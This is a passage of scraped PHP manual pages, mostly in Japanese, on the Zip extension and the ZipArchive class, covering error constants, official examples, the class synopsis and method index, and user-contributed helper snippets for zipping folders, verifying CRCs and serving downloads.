8    ZIPARCHIVE::ER_ZIPCLOSED    zip??包已??
9    ZIPARCHIVE::ER_NOENT    没有文件
10    ZIPARCHIVE::ER_EXISTS    文件已?存在
11    ZIPARCHIVE::ER_OPEN    不能打?文件
12    ZIPARCHIVE::ER_TMPOPEN    ?建??文件失?
13    ZIPARCHIVE::ER_ZLIB    Zlib??
14    ZIPARCHIVE::ER_MEMORY    内存分配失?
15    ZIPARCHIVE::ER_CHANGED    条目已被改?
16    ZIPARCHIVE::ER_COMPNOTSUPP    不支持的??方式
17    ZIPARCHIVE::ER_EOF    ?早的EOF
18    ZIPARCHIVE::ER_INVAL    无效的参数
19    ZIPARCHIVE::ER_NOZIP    不是一个zip??包
20    ZIPARCHIVE::ER_INTERNAL    Internal
21    ZIPARCHIVE::ER_INCONS    Zip??包不一致
22    ZIPARCHIVE::ER_REMOVE    不能移除文件
23    ZIPARCHIVE::ER_DELETED    条目已被?除
scott at bluecamel dot eml dot cc 13-Jun-2008 10:13
#define ZIP_ER_OK             0  /* N No error */
#define ZIP_ER_MULTIDISK      1  /* N Multi-disk zip archives not supported */
#define ZIP_ER_RENAME         2  /* S Renaming temporary file failed */
#define ZIP_ER_CLOSE          3  /* S Closing zip archive failed */
#define ZIP_ER_SEEK           4  /* S Seek error */
#define ZIP_ER_READ           5  /* S Read error */
#define ZIP_ER_WRITE          6  /* S Write error */
#define ZIP_ER_CRC            7  /* N CRC error */
#define ZIP_ER_ZIPCLOSED      8  /* N Containing zip archive was closed */
#define ZIP_ER_NOENT          9  /* N No such file */
#define ZIP_ER_EXISTS        10  /* N File already exists */
#define ZIP_ER_OPEN          11  /* S Can't open file */
#define ZIP_ER_TMPOPEN       12  /* S Failure to create temporary file */
#define ZIP_ER_ZLIB          13  /* Z Zlib error */
#define ZIP_ER_MEMORY        14  /* N Malloc failure */
#define ZIP_ER_CHANGED       15  /* N Entry has been changed */
#define ZIP_ER_COMPNOTSUPP   16  /* N Compression method not supported */
#define ZIP_ER_EOF           17  /* N Premature EOF */
#define ZIP_ER_INVAL         18  /* N Invalid argument */
#define ZIP_ER_NOZIP         19  /* N Not a zip archive */
#define ZIP_ER_INTERNAL      20  /* N Internal error */
#define ZIP_ER_INCONS        21  /* N Zip archive inconsistent */
#define ZIP_ER_REMOVE        22  /* S Can't remove file */
#define ZIP_ER_DELETED       23  /* N Entry has been deleted */


例

例1 Zip アーカイブの作成

<?php

$zip = new ZipArchive();
$filename = "./test112.zip";

if ($zip->open($filename, ZipArchive::CREATE)!==TRUE) {
    exit("cannot open <$filename>\n");
}

$zip->addFromString("testfilephp.txt" . time(), "#1 This is a test string added as testfilephp.txt.\n");
$zip->addFromString("testfilephp2.txt" . time(), "#2 This is a test string added as testfilephp2.txt.\n");
$zip->addFile($thisdir . "/too.php","/testfromfile.php");
echo "numfiles: " . $zip->numFiles . "\n";
echo "status:" . $zip->status . "\n";
$zip->close();
?>

例2 アーカイブの詳細の出力および一覧表示

<?php
$za = new ZipArchive();

$za->open('test_with_comment.zip');
print_r($za);
var_dump($za);
echo "numFiles: " . $za->numFiles . "\n";
echo "status: " . $za->status  . "\n";
echo "statusSys: " . $za->statusSys . "\n";
echo "filename: " . $za->filename . "\n";
echo "comment: " . $za->comment . "\n";

for ($i=0; $i<$za->numFiles;$i++) {
    echo "index: $i\n";
    print_r($za->statIndex($i));
}
echo "numFile:" . $za->numFiles . "\n";
?>

例3 Zip ストリームラッパーによる OpenOffice メタ情報の読み込み

<?php
$reader = new XMLReader();

$reader->open('zip://' . dirname(__FILE__) . '/test.odt#meta.xml');
$odt_meta = array();
while ($reader->read()) {
    if ($reader->nodeType == XMLREADER::ELEMENT) {
        $elm = $reader->name;
    } else {
        if ($reader->nodeType == XMLREADER::END_ELEMENT && $reader->name == 'office:meta') {
            break;
        }
        if (!trim($reader->value)) {
            continue;
        }
        $odt_meta[$elm] = $reader->value;
    }
}
print_r($odt_meta);
?>

この例は旧 API (PHP 4 用) を使用します。まず ZIP ファイルアーカイブをオープンし、アーカイブ内の各ファイルを読み込み、 その内容を出力します。この例で使用するアーカイブ test2.zip は、ZZIPlib のソース配布物に含まれているテスト用アーカイブのひとつです。

例4 Zip の使用例

<?php

$zip = zip_open("/tmp/test2.zip");

if ($zip) {
    while ($zip_entry = zip_read($zip)) {
        echo "Name:               " . zip_entry_name($zip_entry) . "\n";
        echo "Actual Filesize:    " . zip_entry_filesize($zip_entry) . "\n";
        echo "Compressed Size:    " . zip_entry_compressedsize($zip_entry) . "\n";
        echo "Compression Method: " . zip_entry_compressionmethod($zip_entry) . "\n";

        if (zip_entry_open($zip, $zip_entry, "r")) {
            echo "File Contents:\n";
            $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
            echo "$buf\n";

            zip_entry_close($zip_entry);
        }
        echo "\n";

    }

    zip_close($zip);

}
?>

User Contributed Notes

webmaster @ anonymous 27-Jun-2013 04:38
you can use this code for reading JAR files (java archives)

JAR files use the same ZIP format, so can be easily read

$zf = zip_open(realpath('D:/lucene/allinone/lucene-core.jar')); $i=1;
while($zf && $ze = zip_read($zf)) {
    $zi[$i]['zip entry name']= zip_entry_name($ze);
    $zi[$i]['zip entry filesize']= zip_entry_filesize($ze);
    $zi[$i]['zip entry compressed size']= zip_entry_compressedsize($ze);
    $zi[$i]['zip entry compression method']= zip_entry_compressionmethod($ze);
    $zi[$i]['zip entry open status'] = zip_entry_open($zf,$ze);
    //$zi[$i]['zip entry file contents'] = zip_entry_read($ze,100);
    $i++;
}
print_r($zi);
zip_close($zf);
Jonathan 19-Jan-2010 10:29
If you find your zip file not being created make sure every file you are adding to the zip is valid.  If even one file is not available when zip->close is called then the archive will fail and your zip file won't be created.
Stefano Di Paolo 04-Oct-2008 07:13
1) If you want to add files to a ZIP archive but you don't know if the ZiP file exists or not, you MUST check: this changes the way you open it !.
2) you can not append multiple flags, can use only one (or none).

If the zip does not exists, open it with:
$ziph->open($archiveFile, ZIPARCHIVE::CM_PKWARE_IMPLODE)
(or a different compression method)

If the zip already exists, open it with:
$ziph->open($archiveFile)
or
$ziph->open($archiveFile, ZIPARCHIVE::CHECKCONS)

Example: make backup files every hour and ZIP them all in a daily ZIP archive, so you want to get only one ZIP per day, each ZIP containing 24 files:
<?php
  function archivebackup($archiveFile, $file, &$errMsg)
  {
    $ziph = new ZipArchive();
    if(file_exists($archiveFile))
    {
      if($ziph->open($archiveFile, ZIPARCHIVE::CHECKCONS) !== TRUE)
      {
        $errMsg = "Unable to Open $archiveFile";
        return 1;
      }
    }
    else
    {
      if($ziph->open($archiveFile, ZIPARCHIVE::CM_PKWARE_IMPLODE) !== TRUE)
      {
        $errMsg = "Could not Create $archiveFile";
        return 1;
      }
    }
    if(!$ziph->addFile($file))
    {
      $errMsg = "error archiving $file in $archiveFile";
      return 2;
    }
    $ziph->close();

    return 0;
  }
?>
info at peterhofer dot ch 13-Sep-2008 09:03
All these examples will not work if the php script has no write access within the folder.

Although you may say this is obvious, I found that in this case, $zip->open("name", ZIPARCHIVE::CREATE) doesn't return an error as it might not try to access the file system but rather allocates memory.

It is only $zip->close() that returns the error. This might cause you seeking at the wrong end.
geandjay at gmail dot com 17-Apr-2008 09:25
<?php
        $zip = new ZipArchive;
    $zip->open('teste.zip');
    $zip->extractTo('./');
    $zip->close();
        echo "Ok!";
?>


ZipArchive クラス

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

はじめに

Zip で圧縮されたファイルアーカイブです。

クラス概要

ZipArchive implements Countable {
/* プロパティ */
int $lastId;
int $status;
int $statusSys;
int $numFiles;
string $filename;
string $comment;
/* メソッド */
public addEmptyDir ( string $dirname , int $flags = 0 ) : bool
public addFile ( string $filepath , string $entryname = "" , int $start = 0 , int $length = 0 , int $flags = ZipArchive::FL_OVERWRITE ) : bool
public addFromString ( string $name , string $content , int $flags = ZipArchive::FL_OVERWRITE ) : bool
public addGlob ( string $pattern , int $flags = 0 , array $options = [] ) : array|false
public addPattern ( string $pattern , string $path = "." , array $options = [] ) : array|false
public close ( ) : bool
public count ( ) : int
public deleteIndex ( int $index ) : bool
public deleteName ( string $name ) : bool
public extractTo ( string $pathto , array|string|null $files = null ) : bool
public getArchiveComment ( int $flags = 0 ) : string|false
public getCommentIndex ( int $index , int $flags = 0 ) : string|false
public getCommentName ( string $name , int $flags = 0 ) : string|false
public GetExternalAttributesIndex ( int $index , int &$opsys , int &$attr , int $flags = ? ) : bool
public getExternalAttributesName ( string $name , int &$opsys , int &$attr , int $flags = 0 ) : bool
public getFromIndex ( int $index , int $len = 0 , int $flags = 0 ) : string|false
public getFromName ( string $name , int $len = 0 , int $flags = 0 ) : string|false
public getNameIndex ( int $index , int $flags = 0 ) : string|false
public getStatusString ( ) : string
public getStream ( string $name ) : resource|false
public static isCompressionMethodSupported ( int $method , bool $enc = true ) : bool
public static isEncryptionMethodSupported ( int $method , bool $enc = true ) : bool
public locateName ( string $name , int $flags = 0 ) : int|false
public open ( string $filename , int $flags = 0 ) : bool|int
public registerCancelCallback ( callable $callback ) : bool
public registerProgressCallback ( float $rate , callable $callback ) : bool
public renameIndex ( int $index , string $new_name ) : bool
public renameName ( string $name , string $new_name ) : bool
public replaceFile ( string $filepath , string $index , int $start = 0 , int $length = 0 , int $flags = 0 ) : bool
public setArchiveComment ( string $comment ) : bool
public setCommentIndex ( int $index , string $comment ) : bool
public setCommentName ( string $name , string $comment ) : bool
public setCompressionIndex ( int $index , int $method , int $compflags = 0 ) : bool
public setCompressionName ( string $name , int $method , int $compflags = 0 ) : bool
public setEncryptionIndex ( int $index , int $method , string|null $password = null ) : bool
public setEncryptionName ( string $name , int $method , string|null $password = null ) : bool
public setExternalAttributesIndex ( int $index , int $opsys , int $attr , int $flags = 0 ) : bool
public setExternalAttributesName ( string $name , int $opsys , int $attr , int $flags = 0 ) : bool
public setMtimeIndex ( int $index , int $timestamp , int $flags = 0 ) : bool|null
public setMtimeName ( string $name , int $timestamp , int $flags = 0 ) : bool|null
public setPassword ( string $password ) : bool
public statIndex ( int $index , int $flags = 0 ) : array|false
public statName ( string $name , int $flags = 0 ) : array|false
public unchangeAll ( ) : bool
public unchangeArchive ( ) : bool
public unchangeIndex ( int $index ) : bool
public unchangeName ( string $name ) : bool
}

プロパティ

lastId

最後に追加されたエントリのインデックス(ファイルまたはディレクトリ)。 PHP 8.0.0 以降および PECL 1.18.0 以降で利用可能です。

status

Zip アーカイブの状態。 PHP 8.0.0 以降および PECL 1.18.0 以降では、閉じられたアーカイブでも利用可能です。

statusSys

Zip アーカイブのシステム状態。 PHP 8.0.0 以降および PECL 1.18.0 以降では、閉じられたアーカイブでも利用可能です。

numFiles

アーカイブ内のファイル数

filename

ファイルシステム上のファイル名

comment

アーカイブのコメント

目次

  • ZipArchive::addEmptyDir — 新しいディレクトリを追加する
  • ZipArchive::addFile — 指定したパスからファイルを ZIP アーカイブに追加する
  • ZipArchive::addFromString — 内容を指定して、ファイルを ZIP アーカイブに追加する
  • ZipArchive::addGlob — ディレクトリから、glob パターンを使ってファイルを追加する
  • ZipArchive::addPattern — ディレクトリから、PCRE パターンを使ってファイルを追加する
  • ZipArchive::close — アクティブな (オープンされた、あるいは新しく作成された) アーカイブを閉じる
  • ZipArchive::count — アーカイブにあるファイルの数を数える
  • ZipArchive::deleteIndex — インデックスを使用して、アーカイブ内のエントリを削除する
  • ZipArchive::deleteName — 名前を使用して、アーカイブからエントリを削除する
  • ZipArchive::extractTo — アーカイブの内容を展開する
  • ZipArchive::getArchiveComment — ZIP アーカイブのコメントを返す
  • ZipArchive::getCommentIndex — エントリのインデックスを使用して、エントリのコメントを返す
  • ZipArchive::getCommentName — エントリ名を使用して、エントリのコメントを返す
  • ZipArchive::getExternalAttributesIndex — インデックスで定義されたエントリの外部属性を取得する
  • ZipArchive::getExternalAttributesName — 名前で定義されたエントリの外部属性を取得する
  • ZipArchive::getFromIndex — インデックスを使用して、エントリの内容を返す
  • ZipArchive::getFromName — 名前を使用して、エントリの内容を返す
  • ZipArchive::getNameIndex — インデックスを使用して、エントリの名前を返す
  • ZipArchive::getStatusString — システムエラー、または ZIP メッセージに関するエラー情報を返す
  • ZipArchive::getStream — 名前を使用して、エントリのファイルハンドラ (読み込み専用) を取得する
  • ZipArchive::isCompressionMethodSupported — 圧縮方式を libzip がサポートしているかをチェックする
  • ZipArchive::isEncryptionMethodSupported — 暗号化方式を libzip がサポートしているかどうかをチェックする
  • ZipArchive::locateName — アーカイブ内のエントリのインデックスを返す
  • ZipArchive::open — ZIP ファイルアーカイブをオープンする
  • ZipArchive::registerCancelCallback — アーカイブを閉じている間にキャンセルできるようにコールバックを登録する
  • ZipArchive::registerProgressCallback — アーカイブを閉じている間に更新できるようにコールバックを登録する
  • ZipArchive::renameIndex — インデックスを使用してエントリ名を変更する
  • ZipArchive::renameName — 名前を使用してエントリ名を変更する
  • ZipArchive::replaceFile — 指定されたパスのファイルにアーカイブの一部を置き換える
  • ZipArchive::setArchiveComment — ZIP アーカイブのコメントを設定する
  • ZipArchive::setCommentIndex — インデックスを使用してエントリのコメントを設定する
  • ZipArchive::setCommentName — 名前を使用してエントリのコメントを設定する
  • ZipArchive::setCompressionIndex — インデックスで定義されたエントリの圧縮方法を設定する
  • ZipArchive::setCompressionName — 名前で定義されたエントリの圧縮メソッドを設定する
  • ZipArchive::setEncryptionIndex — index で定義されたエントリの暗号化方法を指定する
  • ZipArchive::setEncryptionName — 名前で定義されたエントリの暗号化方式を設定する
  • ZipArchive::setExternalAttributesIndex — インデックスで定義されたエントリの外部属性を設定する
  • ZipArchive::setExternalAttributesName — 名前で定義されたエントリの外部属性を設定する
  • ZipArchive::setMtimeIndex — インデックスを使用してエントリの変更時間を設定する
  • ZipArchive::setMtimeName — 名前を使ってエントリの変更時間を設定する
  • ZipArchive::setPassword — アクティブなアーカイブにパスワードを設定する
  • ZipArchive::statIndex — インデックスを使用してエントリの詳細を取得する
  • ZipArchive::statName — 名前を使用してエントリの詳細を取得する
  • ZipArchive::unchangeAll — アーカイブに対するすべての変更を取り消す
  • ZipArchive::unchangeArchive — アーカイブ全体に対して行われたすべての変更を取り消す
  • ZipArchive::unchangeIndex — 指定したインデックスのエントリに対するすべての変更を取り消す
  • ZipArchive::unchangeName — 指定した名前のエントリに対するすべての変更を取り消す

User Contributed Notes

M. Wolf 17-Aug-2016 05:39
How to detect corrupt files with CRC mismatch:

Creating a corrupt archive for testing is simple - zip some files and change a byte with a hex editor in the resulting ZIP file. Now you can test the file with a ZIP application to learn which file inside the archive is corrupt.

ZipArchive seems unable to detect broken files. ZipArchive::CHECKCONS doesn't help, only if it's not a ZIP file at all. It happily decompressed corrupt files in my tests and the user downloading the data is not informed.

You can simply verify on the server for smaller files:
<?php
$maxsize = 1024*1024;
$z = new ZipArchive;
$r = $z->open("foo.zip", ZipArchive::CHECKCONS);
if($r !== TRUE)
  die('ZIP error when trying to open "foo.zip": '.$r);

$stat = $z->statName("mybrokenfile.txt");
if($stat['size'] > $maxsize)
  die('File too large, decompression denied');
$s = $z->getStream($file);
$data = stream_get_contents($s, $maxsize);
fclose($s);
if($stat['crc'] != crc32($data))
  die('File is corrupt!');
//echo 'File is valid';

//you may send the file to the client now if you didn't output anything before
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="mybrokenfile.txt"');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . $stat['size']);
ob_clean();
echo $data;
$z->close();
?>
If the file shall not be fully decompressed on the server but decompressed while streaming to the client due to it's size, the file transfer already startet and printing an error message later doesn't work. Maybe the best way would be to interrupt the connection before closing the file transfer. The client should be able to detect this as corrupt download.
On the server side a function is needed, that can calculate the CRC32 on streamed data stepwise.
ohcc at 163 dot com 28-Nov-2015 06:14
With PHP 5.6+, you may come up with theses errors.

Warning: Unknown: Cannot destroy the zip context in Unknown on line 0

Warning: ZipArchive::close(): Can't remove file: No such file or directory in xxxx.php on line xx

Examples

Warning: Unknown: Cannot destroy the zip context in Unknown on line 0

<?php
    $za = new ZipArchive;
    $za->open('51-n.com.zip',ZipArchive::CREATE|ZipArchive::OVERWRITE);
?>

Warning: ZipArchive::close(): Can't remove file: No such file or directory in xxxx.php on line xx

<?php
    $za = new ZipArchive;
    $za->open('51-n.com.zip',ZipArchive::CREATE|ZipArchive::OVERWRITE);
    $za->close();
?>

It happens when the zip archive is empty.
Your zip archive will not be saved on disk unless it has at least one file. What's more, when ZipArchive::OVERWRITE is applied, if there exists a file with the same name, it will be removed after ZipArchive::open() is called.

So, don't forget to put at least one file to your zip archive.

<?php
    $za = new ZipArchive;
    $za->open('51-n.com.zip',ZipArchive::CREATE|ZipArchive::OVERWRITE);
    $za->addFromString('wuxiancheng.cn.txt','yes');
    $za->close();
?>
ohcc at 163 dot com 06-Nov-2015 08:58
<?php
    //use bzip2 + ZipArchive to reduce file size of your zip archives.
    $zip = new ZipArchive;
    $zip->open('i.zip',ZIPARCHIVE::CREATE|ZIPARCHIVE::OVERWRITE);
    $file='wuxiancheng.cn.sql';
    $bzFilename = $file.'.bz2';
    $sql = file_get_contents($file);
    $sql = bzcompress($sql,9);
    $zip->addFromString($bzFilename,$sql);
    $zip->setArchiveComment('zipped on '.date('Y-M-d'));
?>
nick at fullfatthings dot com 24-Mar-2015 02:59
There is a limit withing PHP 5.3.3 (which seems to have been addressed in later versions; 5.3.29 seems ok on a different server).

If you try to open a zip file with more than 65,535 files in it (in my case it had 237,942 files) then you cannot access the later files. The numFiles property only reports the first 65k files.
ebestwebmaster at gmail dot com 16-Dec-2014 11:46
A way of zipping files and downloading them thereafter:
<?php

 $files = array('image.jpeg','text.txt','music.wav');
$zipname = 'enter_any_name_for_the_zipped_file.zip';
$zip = new ZipArchive;
$zip->open($zipname, ZipArchive::CREATE);
foreach ($files as $file) {
  $zip->addFile($file);
}
$zip->close();

///Then download the zipped file.
header('Content-Type: application/zip');
header('Content-disposition: attachment; filename='.$zipname);
header('Content-Length: ' . filesize($zipname));
readfile($zipname);

?>
piotr dot stop dot spam at gmail dot com 17-Jan-2014 04:58
You can check general purpose flag to test if the zip file is encrypted. Example function below.

<?php

/**
 * Check if the file is encrypted
 *
 * Notice: if file doesn't exists or cannot be opened, function
 * also return false.
 *
 * @param string $pathToArchive
 * @return boolean return true if file is encrypted
 */
function isEncryptedZip( $pathToArchive ) {
    $fp = @fopen( $pathToArchive, 'r' );
    $encrypted = false;
    if ( $fp && fseek( $fp, 6 ) == 0 ) {
        $string = fread( $fp, 2 );
        if ( false !== $string ) {
            $data = unpack("vgeneral", $string);
            $encrypted = $data[ 'general' ] & 0x01 ? true : false;
        }
        fclose( $fp );
    }
    return $encrypted;
}
AshleyDambra at live dot com 16-May-2013 08:23
Simple class xZip to zip big folders into multiple parts and unzip multi zip files at once.

<?php
class xZip {
    public function __construct() {}
    private function _rglobRead($source, &$array = array()) {
        if (!$source || trim($source) == "") {
            $source = ".";
        }
        foreach ((array) glob($source . "/*/") as $key => $value) {
            $this->_rglobRead(str_replace("//", "/", $value), $array);
        }

        foreach ((array) glob($source . "*.*") as $key => $value) {
            $array[] = str_replace("//", "/", $value);
        }
    }
    private function _zip($array, $part, $destination) {
        $zip = new ZipArchive;
        @mkdir($destination, 0777, true);

        if ($zip->open(str_replace("//", "/", "{$destination}/partz{$part}.zip"), ZipArchive::CREATE)) {
            foreach ((array) $array as $key => $value) {
                $zip->addFile($value, str_replace(array("../", "./"), NULL, $value));
            }
            $zip->close();
        }
    }
    public function zip($limit = 500, $source = NULL, $destination = "./") {
        if (!$destination || trim($destination) == "") {
            $destination = "./";
        }

        $this->_rglobRead($source, $input);
        $maxinput = count($input);
        $splitinto = (($maxinput / $limit) > round($maxinput / $limit, 0)) ? round($maxinput / $limit, 0) + 1 : round($maxinput / $limit, 0);

        for($i = 0; $i < $splitinto; $i ++) {
            $this->_zip(array_slice($input, ($i * $limit), $limit, true), $i, $destination);
        }

        unset($input);
        return;
    }
    public function unzip($source, $destination) {
        @mkdir($destination, 0777, true);

        foreach ((array) glob($source . "/*.zip") as $key => $value) {
            $zip = new ZipArchive;
            if ($zip->open(str_replace("//", "/", $value)) === true) {
                $zip->extractTo($destination);
                $zip->close();
            }
        }
    }

    public function __destruct() {}
}

//$zip = new xZip;
//$zip->zip(500, "images/", "images_zip/");
//$zip->unzip("images_zip/", "images/");
?>
umbalaconmeogia at NOSPAM dot gmail dot com 28-Nov-2012 03:48
Zip a folder (include itself).
Usage:
  HZip::zipDir('/path/to/sourceDir', '/path/to/out.zip');

<?php
class HZip
{
  /**
   * Add files and sub-directories in a folder to zip file.
   * @param string $folder
   * @param ZipArchive $zipFile
   * @param int $exclusiveLength Number of text to be exclusived from the file path.
   */
  private static function folderToZip($folder, &$zipFile, $exclusiveLength) {
    $handle = opendir($folder);
    while (false !== $f = readdir($handle)) {
      if ($f != '.' && $f != '..') {
        $filePath = "$folder/$f";
        // Remove prefix from file path before add to zip.
        $localPath = substr($filePath, $exclusiveLength);
        if (is_file($filePath)) {
          $zipFile->addFile($filePath, $localPath);
        } elseif (is_dir($filePath)) {
          // Add sub-directory.
          $zipFile->addEmptyDir($localPath);
          self::folderToZip($filePath, $zipFile, $exclusiveLength);
        }
      }
    }
    closedir($handle);
  }

  /**
   * Zip a folder (include itself).
   * Usage:
   *   HZip::zipDir('/path/to/sourceDir', '/path/to/out.zip');
   *
   * @param string $sourcePath Path of directory to be zip.
   * @param string $outZipPath Path of output zip file.
   */
  public static function zipDir($sourcePath, $outZipPath)
  {
    $pathInfo = pathInfo($sourcePath);
    $parentPath = $pathInfo['dirname'];
    $dirName = $pathInfo['basename'];

    $z = new ZipArchive();
    $z->open($outZipPath, ZIPARCHIVE::CREATE);
    $z->addEmptyDir($dirName);
    self::folderToZip($sourcePath, $z, strlen("$parentPath/"));
    $z->close();
  }
}
?>
niklas dot schumi at NOSPAM dot googlemail dot com 02-Aug-2012 10:44
Hi there.
I just wrote a little function to zip a whole folder while maintaining the dir-structure. I hope it might help someone.

<?php
function folderToZip($folder, &$zipFile, $subfolder = null) {
    if ($zipFile == null) {
        // no resource given, exit
        return false;
    }
    // we check if $folder has a slash at its end, if not, we append one
    $folder .= end(str_split($folder)) == "/" ? "" : "/";
    $subfolder .= end(str_split($subfolder)) == "/" ? "" : "/";
    // we start by going through all files in $folder
    $handle = opendir($folder);
    while ($f = readdir($handle)) {
        if ($f != "." && $f != "..") {
            if (is_file($folder . $f)) {
                // if we find a file, store it
                // if we have a subfolder, store it there
                if ($subfolder != null)
                    $zipFile->addFile($folder . $f, $subfolder . $f);
                else
                    $zipFile->addFile($folder . $f);
            } elseif (is_dir($folder . $f)) {
                // if we find a folder, create a folder in the zip
                $zipFile->addEmptyDir($f);
                // and call the function again
                folderToZip($folder . $f, $zipFile, $f);
            }
        }
    }
}
?>

Use it like this:
<?php
$z = new ZipArchive();
$z->open("test.zip", ZIPARCHIVE::CREATE);
folderToZip("storeThisFolder", $z);
$z->close();
?>

Have a good day!
panique at web dot de 14-Jul-2012 11:21
Important: Due to the natural file size limit of 4GB (~3,6GB to be correct) of zip files, this class will generate corrupt files of the result is larger than 4 GB. Using tar.gz is a proper alternative.
bruno dot vibert at bonobox dot fr 09-May-2012 08:21
There is a usefull function to get the ZipArchive status as a human readable string :

<?php
function ZipStatusString( $status )
{
    switch( (int) $status )
    {
        case ZipArchive::ER_OK           : return 'N No error';
        case ZipArchive::ER_MULTIDISK    : return 'N Multi-disk zip archives not supported';
        case ZipArchive::ER_RENAME       : return 'S Renaming temporary file failed';
        case ZipArchive::ER_CLOSE        : return 'S Closing zip archive failed';
        case ZipArchive::ER_SEEK         : return 'S Seek error';
        case ZipArchive::ER_READ         : return 'S Read error';
        case ZipArchive::ER_WRITE        : return 'S Write error';
        case ZipArchive::ER_CRC          : return 'N CRC error';
        case ZipArchive::ER_ZIPCLOSED    : return 'N Containing zip archive was closed';
        case ZipArchive::ER_NOENT        : return 'N No such file';
        case ZipArchive::ER_EXISTS       : return 'N File already exists';
        case ZipArchive::ER_OPEN         : return 'S Can\'t open file';
        case ZipArchive::ER_TMPOPEN      : return 'S Failure to create temporary file';
        case ZipArchive::ER_ZLIB         : return 'Z Zlib error';
        case ZipArchive::ER_MEMORY       : return 'N Malloc failure';
        case ZipArchive::ER_CHANGED      : return 'N Entry has been changed';
        case ZipArchive::ER_COMPNOTSUPP  : return 'N Compression method not supported';
        case ZipArchive::ER_EOF          : return 'N Premature EOF';
        case ZipArchive::ER_INVAL        : return 'N Invalid argument';
        case ZipArchive::ER_NOZIP        : return 'N Not a zip archive';
        case ZipArchive::ER_INTERNAL     : return 'N Internal error';
        case ZipArchive::ER_INCONS       : return 'N Zip archive inconsistent';
        case ZipArchive::ER_REMOVE       : return 'S Can\'t remove file';
        case ZipArchive::ER_DELETED      : return 'N Entry has been deleted';

        default: return sprintf('Unknown status %s', $status );
    }
}

?>
webmaster at sebastiangrinke dot info 06-Oct-2011 01:30
Here is a simple function which zips folders with all sub folders or only a simple file... the $data var can be a string or an array...

<?php
public function un_zip($data,$arcpf,$mode='zip',$obj=''){
        $absoluterpfad = 'YOUR_BASE_PATH';
        $arcpf = $absoluterpfad.DS.$arcpf;
        if(is_object($obj)==false){
             $archiv = new ZipArchive();
             $archiv->open($arcpf,ZipArchive::CREATE);
        }else{$archiv =& $obj;}
        if($mode=='zip'){
           if(is_array($data)==true){
                 foreach($data as $dtmp){
                     $archiv =& un_zip($dtmp,$arcpf,'zip',&$archiv);
                 }
           }else{
            if(is_dir($data)==true){
                    $archiv->addEmptyDir(str_replace($absoluterpfad.DS,'',$data));
                  $files = scandir($data);
               $bad = array('.','..');
               $files = array_diff($files,$bad);
               foreach($files as $ftmp){
                   if(is_dir($data.DS.$ftmp)==true){
                        $archiv->addEmptyDir(str_replace($absoluterpfad.DS,'',$data.'/'.$ftmp));
                        $archiv =& un_zip($data.DS.$ftmp,$arcpf,'zip',&$archiv);
                   }elseif(is_file($data.DS.$ftmp)==true){
                    $archiv->addFile($data.DS.$ftmp,str_replace($absoluterpfad.DS,'',$data.'/'.$ftmp));
                   }
                 }
            }elseif(is_file($data)==true){$archiv->addFile($data,str_replace($absoluterpfad.DS,'',$data));}
           }
        }
        if(is_object($obj)==false){$archiv->close();}
        else{return $archiv;}
        if($mode=='unzip'){$archiv->extractTo($data);}
    }
?>
Jerry dot Saravia at emc dot com 08-Aug-2011 01:57
The following code can be used to get a list of all the file names in a zip file.

<?php
$za = new ZipArchive();

$za->open('theZip.zip');

for( $i = 0; $i < $za->numFiles; $i++ ){
    $stat = $za->statIndex( $i );
    print_r( basename( $stat['name'] ) . PHP_EOL );
}
?>
h-fate at gmx dot net 05-Oct-2010 04:17
Be wary that there are several algorithms to generate a zip file. I found that Office OpenXML files created with ZipArchive are not recognized by Excel 2007, for example.

You have to use a different class to zip in this case, such as PclZip.
hardcorevenom at gmx dot com 15-Jun-2010 03:17
Read a file from an archive to a variable.
A warning is printed automatically in case of a CRC32 mismatch, which we capture, so we can print our own error message.

<?php
$zip = new ZipArchive();
if ($zip->open('archive.zip')) {
  $fp = $zip->getStream('myfile.txt'); //file inside archive
  if(!$fp)
    die("Error: can't get stream to zipped file");
  $stat = $zip->statName('myfile.txt');

  $buf = ""; //file buffer
  ob_start(); //to capture CRC error message
    while (!feof($fp)) {
      $buf .= fread($fp, 2048); //reading more than 2156 bytes seems to disable internal CRC32 verification (bug?)
    }
    $s = ob_get_contents();
  ob_end_clean();
  if(stripos($s, "CRC error") != FALSE){
    echo 'CRC32 mismatch, current ';
    printf("%08X", crc32($buf)); //current CRC
    echo ', expected ';
    printf("%08X", $stat['crc']); //expected CRC
  }

  fclose($fp);
  $zip->close();
  //Done, unpacked file is stored in $buf
}
?>

To create a corrupt file, change a byte in a zip file using a hex editor.


新しいディレクトリを追加する

  • ≪ ZipArchive
  • ZipArchive::addFile ≫
  • PHP Manual
  • ZipArchive
  • 新しいディレクトリを追加する

ZipArchive::addEmptyDir

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.8.0)

ZipArchive::addEmptyDir — 新しいディレクトリを追加する

説明

public ZipArchive::addEmptyDir ( string $dirname , int $flags = 0 ) : bool

空のディレクトリをアーカイブに追加します。

パラメータ

dirname

追加するディレクトリ。

flags

以下のビットマスクの組み合わせ:
ZipArchive::FL_ENC_GUESS,
ZipArchive::FL_ENC_UTF_8,
ZipArchive::FL_ENC_CP437。
これらの定数の振る舞いは、定義済みの定数 で説明しています。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 / 1.18.0 | flags が追加されました。

例

例1 アーカイブ内での新規ディレクトリの作成

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
    if($zip->addEmptyDir('newDirectory')) {
        echo '新しいディレクトリを作成しました';
    } else {
        echo 'ディレクトリが作成できませんでした';
    }
    $zip->close();
} else {
    echo '失敗しました';
}
?>

User Contributed Notes

tahazit dot co dot il at gmail dot com 28-Nov-2014 01:25
On PHP >5.4, This function will create a file, not a directory.

For instance:

   $zip->addEmptyDir ( 'path/to/dir/' );

will create the folders "path/", and "path/to/", and a dummy 0-byte file named "dir" in the latter.
If then we add a file to that dir, say like this:

   $zip->addFromString ( 'path/to/dir/file.txt', $data );

the result will be a SEPARATE folder named "dir" next to the dummy "dir" file. The "dir" folder will contain the file "file.txt".

This was tested on an APACHE server running PHP 5.4
hunter666 at abv dot bg 26-Jun-2010 01:44
Add folder and sub-directories to zip archive.

<?php
$archive_name = "archive.zip"; // name of zip file
$archive_folder = "folder"; // the folder which you archivate

$zip = new ZipArchive;
